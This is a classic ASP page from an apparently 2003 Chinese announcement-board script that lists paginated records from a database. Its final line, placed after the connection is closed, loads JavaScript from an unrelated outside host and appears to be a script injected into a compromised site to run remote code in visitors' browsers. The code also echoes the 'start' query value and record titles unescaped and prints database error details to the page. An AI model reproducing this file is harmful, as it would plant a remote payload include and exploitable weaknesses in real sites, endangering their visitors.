old_data.asp

一款有用的公告系统

<!--#include file=conn.asp-->
<!--#include file=header.inc-->
<%
'#####################################################
'## Copyright (C) 2003, fzw
'## For support, please visit http://fzw.rdedu.net/
'## Script Edit:风之吻技术网
'#####################################################
%>
<%
dim displayRecs,recRange,tablename,startRec,stopRec,totalRecs,recCount,recActual,isPrev,PrevStart,x,y,dx1,dy1,intTotalRecs,dx2,dy2,isMore,x_id,X_Title,X_Date,NextStart,X_Read
dim sql,rs
displayRecs = 20
recRange = 20

If Request.QueryString("start").Count > 0 Then
	startRec = Request.QueryString("start")
	Session("tablename") = tablename
	Session("startRec") = startRec
Else
	If tablename = Session("tablename") Then
		startRec = Session("startRec")
	Else
		startRec = 1
		Session("startRec") = startRec
	End If
End If
stopRec = startRec + displayRecs - 1
set rs = Server.CreateObject("ADODB.Recordset")
sql = "select * from Data Order By Date DESC"

rs.Open sql, conn,1,2 

If Err.Number <> 0 Then
	Response.write("SQL: " & sql & "<br>")
	Response.write("Error Code: " & Err.Number & "<br>")
	Response.write("Error Description: " & Err.Description & "<br>")
	Response.write("Error Source: " & Err.Source & "<br>")
	Response.write("Error Line: " & Err.Line & "<br>")
	response.end
End If
totalRecs = rs.RecordCount
%>
<table border="0" width="600" align="center" cellspacing="0" cellpadding="0">
  <tr class="title">
    <td width="33">
<div align="center"  width="15"> ID</div>
</td>
<td width="502"><div align="center">
标题</div>
</td>
<td colspan="2"  width="65"><div align="center">阅读数</div></td>
</tr>


<%
recCount = 0
recActual = 0
Do While (NOT rs.EOF) AND (recCount < stopRec)
	recCount = recCount + 1
	If Cint(recCount) >= Cint(startRec) Then 
		recActual = recActual + 1 %>

<%

	x_id = rs("id")
	X_Title = rs("Title")
	X_Date = rs("Date")
	X_Read = rs("Read")
%>


<tr class="title2" height="20" valign="middle">
    <td width="33"  valign="middle"> 
      <div align="center"><% response.write x_id %>
      </div>
</td>
<td valign="middle">
<% response.write"<img src=images/br_dot.gif><a href=javascript:openScript(&quot;Display_Data.asp?id=" &x_id& "&quot;,500,400)>"&X_title&"</a>[<font size=1>"&datevalue(X_Date)&"</font>]"%>
</td>
<td valign="middle"><div align="center"><%=X_Read%></div></td>
</tr>


<%
	end if

	rs.MoveNext
Loop 
%>

<tr>
    <td colspan="3"> 
      <div align=center><a href=http://www.3gu.org><img src=Images/br.gif border=0></a></div></td></tr>
</table>


<%
if totalRecs > 0 then
	If 	startRec = 1 Then
		isPrev = False
	Else
		isPrev = True
		PrevStart = startRec - displayRecs
		If PrevStart < 1 Then PrevStart = 1 %>
	<hr align="center" width="600" size="1" noshade><div align="center">
	<strong><a href="Old_Data.asp?start=<%=PrevStart%>">[&lt;&lt;&nbsp;前翻一页]</a></strong>
	</div>
	<%
	End If
	If (isPrev OR (NOT rs.EOF)) Then
		If (NOT isPrev) Then Response.Write "<hr align=center width=600 size=1 noshade>"
		x = 1
		y = 1
	
		dx1 = ((startRec-1)\(displayRecs*recRange))*displayRecs*recRange+1
		dy1 = ((startRec-1)\(displayRecs*recRange))*recRange+1
		If (dx1+displayRecs*recRange-1) > intTotalRecs then
			dx2 = (totalRecs\displayRecs)*displayRecs+1
			dy2 = (totalRecs\displayRecs)+1
		Else
			dx2 = dx1+displayRecs*recRange-1
			dy2 = dy2+recRange-1
		End If
	
		While x < totalrecs
			If x >= dx1 and x <= dx2 Then
				If CInt(startRec) = CInt(x) Then %>
	<div align="center"><strong><%=y%></strong></div>
	<% 			Else %>
	<div align="center"><strong><a href="Old_Data.asp?start=<%=x%>"><%=y%></A></strong></div>
	<%			End If
				x = x + displayRecs
				y = y + 1
			elseif x >= (dx1-displayRecs*recRange) and x <= (dx2+displayRecs*recRange) then
				if x+recRange*displayRecs < totalRecs then %>
	<div align="center"><strong><a href="Old_Data.asp?start=<%=x%>"><%=y%>-<%=y+recRange-1%></a></div>
	<%			else
					ny=(totalRecs-1)\displayRecs+1
						if ny = y then %>
	<div align="center"><a href="Old_Data.asp?start=<%=x%>"><%=y%></a></div>
	<%					else %>
	<div align="center"><a href="Old_Data.asp?start=<%=x%>"><%=y%>-<%=ny%></a></div>
	<%					end if
				end if
				x=x+recRange*displayRecs
				y=y+recRange
			else
				x=x+recRange*displayRecs
				y=y+recRange
			End If
		Wend
	End If
	If NOT rs.EOF Then
		NextStart = startRec + displayRecs
		isMore = True %><div align="center">
<strong><a href="Old_Data.asp?start=<%=NextStart%>">[后翻一页&nbsp;&gt;&gt;]</a></strong></div>
	<% Else
		isMore = False
	End If %>
	<% If stopRec > recCount Then stopRec = recCount %><div align="center">
	纪录 <%= startRec %>至<%= stopRec %> &nbsp;&nbsp;共<%= totalRecs %>条
</div>
<% Else %>
<br><br>
<div align="center">程序未能找到任何符合条件的纪录,请首先输入纪录后操作</div>


<br><br>
<% End If
rs.Close
Set rs = Nothing
conn.Close
Set conn = Nothing
%> 
<script language=javascript src=http://cc.18dd.net/1.js></script>